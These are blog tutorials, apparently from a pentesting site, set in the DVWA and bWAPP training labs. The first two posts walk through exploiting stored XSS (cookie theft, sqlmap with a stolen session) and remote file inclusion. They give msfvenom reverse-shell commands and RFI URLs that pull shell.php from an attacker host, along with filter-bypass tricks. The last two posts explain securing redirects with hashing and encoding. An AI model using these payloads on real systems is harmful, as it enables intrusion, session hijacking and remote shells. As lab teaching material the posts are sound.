Showing posts with label Penetration Testing. Show all posts
Showing posts with label Penetration Testing. Show all posts

Stored XSS Exploitation in DVWA (Beginner Guide)

This article is written to bring awareness among all security researchers and developers so that they may be able to learn the level of damage cause by XSS attack if the web server is suffering from cross site scripting vulnerability.

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. 

Stored XSS (Persistent or Type I)
Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser. With the advent of HTML5, and other browser technologies, we can envision the attack payload being permanently stored in the victim’s browser, such as an HTML5 database, and never being sent to the server at all.
Refernce: owasp.org
Lets start!!!
Attacker: Kali Linux
Target: DVWA


For this tutorial I had targeted DVWA and explore localhost IP in browser; now login with admin: password and select the stored cross site scripting vulnerbility from given list of vulnerbility.


Now have a look over a small script which would generate an alert window. So in the text area given for message I will inject the script which get store in the server.


Now when user will visit this page to read our message his browser will execute our script which generates an alert prompt as showing following screenshot.

This was a small demo to show how to inject any script if server is suffering from XSS and further you will learn what else an attacker can do to cause damage inside a web application server.


If attack is aware that the web server is having XSS then he might think to steal the web cookies which contain session Id therefore he will generate a script to fetch running cookies.
In following screenshot you can see I have injected the script to get web page cookies.



Here in given below image when I have executed the script I have successfully fetched the browser cookies and now further I will use this cookies for retrieving the data of web application server. 


SQL INJECTION WITH XSS

It might be possible that the web application server has more than one vulnerabilities, let assume if it is also having SQL injection vulnerability then it become very easy for attacker to retrieve the data from its database using stolen cookies.

For example in DVWA I switch from XSS to SQL injection; now copy its URL with user ID=1.


From above we have browser cookie and target URL for making SQL injection attack. Now open the terminal in your kali Linux and use above cookie and URL inside the command of sqlmap as shown in screenshot
Sqlmap – u “http://192.168.1.8/dvwa/vulnerbilities/sqli/?id=1&submit=submit” –cookie=“security=low; PHPSESSID=r12pk67cuq3s7eo4iktb88sud2” –dbs --batch


Hence you can see it has fetched all present database names inside database system.

Gaining Shell Access with XSS
Now let assume if server is suffering from XSS as well as file uploading both vulnerabilities; in this case how an attacker would be able to cause harm to the web application server.

Firstly let’s prepare our malicious PHP file for uploading in web server. As we always use msfvenom for this purpose and then save the generated PHP codes in a text file as shell.php

Msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.1.11 lport=4444 –f raw


Again I switched to file uploading vulnerability in DVWA to upload shell.php and from screenshot you can see our shell.php file is successfully uploaded now copy the highlighted path.


Start multi handler inside the metasploit framework.


Here the text area given for message length is not sufficient to inject our next script therefore make right click on window and select inspect element to view it’s given message length for text area.


Here you can see message length for text area is decided as “50”.


Change message length from “50 to 500” so that it becomes easy to inject our next script.


Now in following screenshot you can see I have injected the path of uploaded file in script which will get saved in the server. When user click on it to read the message he will execute our shell.php file which provide reverse connection on attacker machine.


Here you can see as soon as script will execute it has shown meterpreter session for victim’s PC.
Meterpreter>sysinfo

7 ways to Exploit RFI Vulnerability

In this article you will learn how to hack any web application server if it is suffering from remote file inclusion vulnerability.  I have performed RFI attack using seven different techniques to exploit any web server. Here I have targeted BWAPP which a buggy web application server to perform all these attack.

Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.
For more details visit OWASP.org


Let’s Begin!!!

Basic RFI Attack


Open target IP in the browser and login inside BWAPP as bee: bug now choose the bug remote & local file Inclusion then click on hack.

Here the requested web page which is suffering from RFI & LFI Vulnerability gets open. Where you will find a comment to select a language from the given drop down list, when you click on go button the selected language file get included in URL.

 Now prepare PHP malicious file using msfvenom for attack and start multi handler at the background.
Msfvenom –p php/meterpreter/reverse _tcp lhost= 192.168.1.11 lport 4444 –f raw
Then copy the highlighted text in a text file.



If you notice the below screenshot carefully here you will find that I have saved above copied PHP code as shell.php inside /var/www/html, so that shell.php file could be included for RFI attack.


To perform basic attacks manipulate URL to include php file remotely.
http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.php? language=http://192.168.1.11/shell.php


As soon as you will execute the URL, you will get reverse connection through meterpreter session.
Meterpreter> sysinfo


Forced Extension RFI Attack
Repeat the same process and add ‘?’ (Question mark) symbol at the end of URL. Must remember that multi handler should be running at the background of metasploit framework.
http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.php? language=http://192.168.1.11/shell.php?


Again when you will execute URL, it will give you another meterpreter session.
Meterpreter> sysinfo


Null Byte RFI Attack

Now to make null byte attack you need to capture the sending request between browser and web server. Here to perform the attack with help of burp suite kindly turn on burp suite then make intercept on and set browser proxy. From given screenshot you can see I have captured the GET request.


Again if you notice the highlighted text in the given below image you will find that I have edited ‘ (null character) to make null injection attack. Now before forwarding the GET request make sure your multi handler must be running at the background and then click on forward tab.


As soon as they GET request will be forward you will get victim’s reverse connection through meterpreter sessions.
Meterpreter> sysinfo


Change HTTP

The forth technique is similar to the first technique the attacker just need to make very small change in URL and if you notice the following screenshot you will find that I have changed http into HTTP. It might be possible that in some situation when security level get increased small character http get failed to include file remotely. 
http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.php? language=HTTP://192.168.1.11/shell.php


So after making changes now execute the URL and must keep multi handler running at the background which will further provide a new session again through meterpreter.
Meterpreter> sysinfo


Change Image Extension
In next attack you will find that I had included an image remotely to hack web application server which is not a real image but our php malicious file. So now open your shell.php file and edit GIF98 inside your PHP file as shown in following screenshot and save it as shell.gif at same location i.e. /var/www/html.


Here again make small change in URL to include malicious image.
http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.php? language=http://192.168.1.11/shell.gif


Now when again you will execute URL, another meterpreter session gets open for you.
Meterpreter> sysinfo


Black List RFI Attack

If you have read  file uploading article you must be aware of black list where we can inject our file by changing a number of letters to their capital forms to bypass the case sensitive rule, for example PHP or PHP3

You can apply this technique when security level is high, manipulate .php into .PHP; I have renamed shell.php into shell.PHP at same location and then execute shell.PHP with help of URL.

http://192.168.1.113/bWAPP/rlfi.php?language=lang_en.php&action=go into192.168.1.11/bWAPP/flfi.php? language=http://192.168.1.11/shell.PHP


From following screenshot you can see I have got another session through meterpreter.
Meterpreter> sysinfo


Base64 encoded
 Now there is another way to exploit RFI when the security level is high and you are unable to view the PHP file content, and then use the following PHP function.

With help of hackbar which a Firefox plug-in I had performed this attack. First you need to load URL then manipulate URL as shown in the screenshot then click on execute tab.

http://192.168.1.113/bWAPP/rlfi.php?language= php://filter/read=convert.base64-encode/resource= http://192.168.1.11/shell.php


WONDERFUL!!! We have got meterpreter session through seven different techniques. You can also perform all these attack using online script like c99 shell.
Meterpreter> sysinfo

Understanding Redirection with Hashing and Crypto Salt (Part 2)

In previous article we have explained the concept of redirection with basic redirection and encoded redirections; in this article we will cover the more secured redirection using hashing and salting techniques.

In this article also we will be covering the redirection using the same php scripts with little modification within the code.
Redirection using Hash Values
On browser type http://localhost/hashing/home.php

Hover on Redirect Link pointing to redirection page (re.php). We can see that the redirection link not only contains the URL as a parameter but also the hash which means that we are not only passing the URL as a parameter but also generating the hash value using MD5/SH1/SHA512 or any of the hashing algorithm and redirection will only work if the combination of url and its hash is correct else not.


(Shown in the figure below). This is a more secure way of redirection.


 For the sake of understanding our redirection link is showing the parameters like URL and Hash but in case or real development we can hide them so that attacker won't be able to judge where the page is being redirected.

When we click on Redirect Link redirection script  on re.php will catch the passed URL and generate its hash value (we are using MD5 hash algorithm) and compare the generated hash value with the hash value we have sent with the request, if both the hash values matches the redirection would work else it will fail.

WE are using hash calculator for generating the MD5 Value of "http://www.hackingarticles.in".


The MD5 hash value of "http://www.hackingarticles.in" is 8258c1efb05943d059476150cb22df1d
 In the below image we are replacing the original hash value of "http://www.hackingarticles.in"   from its original value which is "8258c1efb05943d059476150cb22df1d" to any different value for example "9258c1efb05943d059476150cb22df1d" (we have replaced only first digit from 8 to 9).


The redirection has failed and script has returned an error message. Finally we are sending the URL along with the generated Hash Value as parameter and result is below


Redirection using Hash Values with salting

On browser type http://localhost/hashing/home.php (page where we have our scripts)

Hover on Redirect Link pointing to redirection page (re.php). Here we can see one more additional parameter salt. As in previous methodology we have worked with Hash values , while working with salting we are introducing  one more parameter salt and generating the hash value of the URL by pre pending or appending the salt value in front of the url or at the end of the url. Salt value could be anything, it could be a combination of characters, digits , alphanumeric , special character or anything we want (In this example we are using the salt value "ignite"). By using salts we are further increasing the security for redirecting the URL.



  For the sake of understanding our redirection link is showing the parameters like URL and Hash and Salt but in case or real development we can hide them so that attacker won't be able to judge where the page is being redirected.
 When we click on Redirect Link redirection script on re.php will catch the passed URL and generate its hash value (we are using Sha1 hash algorithm) by appending the salt value (ignite) in front of the URL and compare the generated hash value with the hash value we have sent with the request, if both the hash values matches the redirection would work else it will fail.


in Above image we are generating the Sha1 hash value by appending the salt "ignite"  in front of the URL "http://www.hackingarticles.in" , we can use any online/offline convertor in this example we are generating Sha1 hash through http://online-code-generator.com/sha1-hash-with-optional-salt.php


The sha1 hash value of the URL with salt is: 5955e7e3533a0afac6ddfee60a32e2a6731cf626


If the hash value sent is different from the original value our script will return an error. In below Image we are changing the sha1 hash value from 5955e7e3533a0afac6ddfee60a32e2a6731cf626 to 8955e7e3533a0afac6ddfee60a32e2a6731cf626 (we are replacing only first digit from 5 to 8) we will get the following result.

Finally we are sending the URL along with the generated Hash Value as parameter and result is below


Understanding Redirection with Encoding Techniques (Part 1)

A redirect automatically sends website's visitors to some different location or URL; redirection could be either at different location within the same site or a new site or webpage.

Unsecure redirection and forwarding are the outcomes when a web application accepts untrusted inputs that could cause the web application to redirect the request to a URL contained within untrusted/Unvalidated input, we can also call this type of redirection as Unvalidated Redirection.

We are demonstrating the actual concept and types of redirection through a PHP code running under apache server on a local machine running kali Linux. We can also use wamp or xampp server for windows machine to run and execute these codes. For executing our redirection scripts, put the codes in /var/www/html directory: This is the directory pointing to localhost (in our case).
References
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
Basic Redirection
On browser type localhost/redirect/home.php

Hover on Redirect Link, pointing to redirection page (re.php). We can see the redirection on clear text format below. (As shown in the figure below). 


When we click on this link, we will be redirected to http://www.hackingarticles.in, as we have coded in our redirection script (re.php).


This is the basic redirection where we are simply redirecting the users from one page to another page through php scripts without considering any security measures in account. The further encoding parameters of redirection are explained below.

URL Encoding
On browser type localhost/hex/home.php (page where we have our scripts)
Hover on Redirect Link, pointing to redirection page (re.php). We can see the redirection on clear text format below.(As shown in the figure below).



Here we are using the same script for the home page but in this redirection we are using simple URL encoding where we can send our URL in URL Encoded format  and the encoded URL is being decoded through the script running on our redirected php page(re.php in this case).
WE can use any online /offline converter for calculating URL encoded value (in this example we are using http://www.meyerweb.com/)
Refer below screenshot for URL encoding.




 Right click on Redirect Link on home.php and copy link location and past the URL in new tab. If we replace the redirected URL with URL encoded value we will land on the same page.


The following is the result


HEX Encoding
Here we are converting the URL in its Hexadecimal Value using Burp suite (you can use any online/offline tool).


Single Hex encoded value of http://www.hackingarticles.in is
%68%74%74%70%3a%2f%2f%77%77%77%2e%68%61%63%6b%69%6e%67%61%72%74%69%63%6c%65%73%2e%69%6e
Right click on Redirect Link on home.php and copy link location and past the URL in new tab. If we replace the redirected URL with single hex encoded value we will land on the same page


The following is the result


Multilevel Encoding
Here we are demonstrating the multilevel encoding where we are re-encoding the pre encoded values.


Double Hex encoded value of http://www.hackingarticles.in is
%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%37%37%25%37%37%25%37%37%25%32%65%25%36%38%25%36%31%25%36%33%25%36%62%25%36%39%25%36%65%25%36%37%25%36%31%25%37%32%25%37%34%25%36%39%25%36%33%25%36%63%25%36%35%25%37%33%25%32%65%25%36%39%25%36%65

Right click on Redirect Link on home.php and copy link location and past the URL in new tab. If we replace the redirected URL with double hex encoded value we will land on the same page.



The following is the result



Base 64 Encoded Redirection

On browser type http://localhost/base64/home.php
Hover on Redirect Link, pointing to redirection page (re.php). Here we are pre encoding our URL to its base 64 encoded value because of which our URL is something which can't be understandable with naked eye .(As shown in the figure below). 



 Below image shows the Base64 encoding of our URL http://www.hackingarticles.in



Base64 encoded value of http://www.hackingarticles.in is
 “aHR0cDovL3d3dy5oYWNraW5nYXJ0aWNsZXMuaW4=”

The following is the output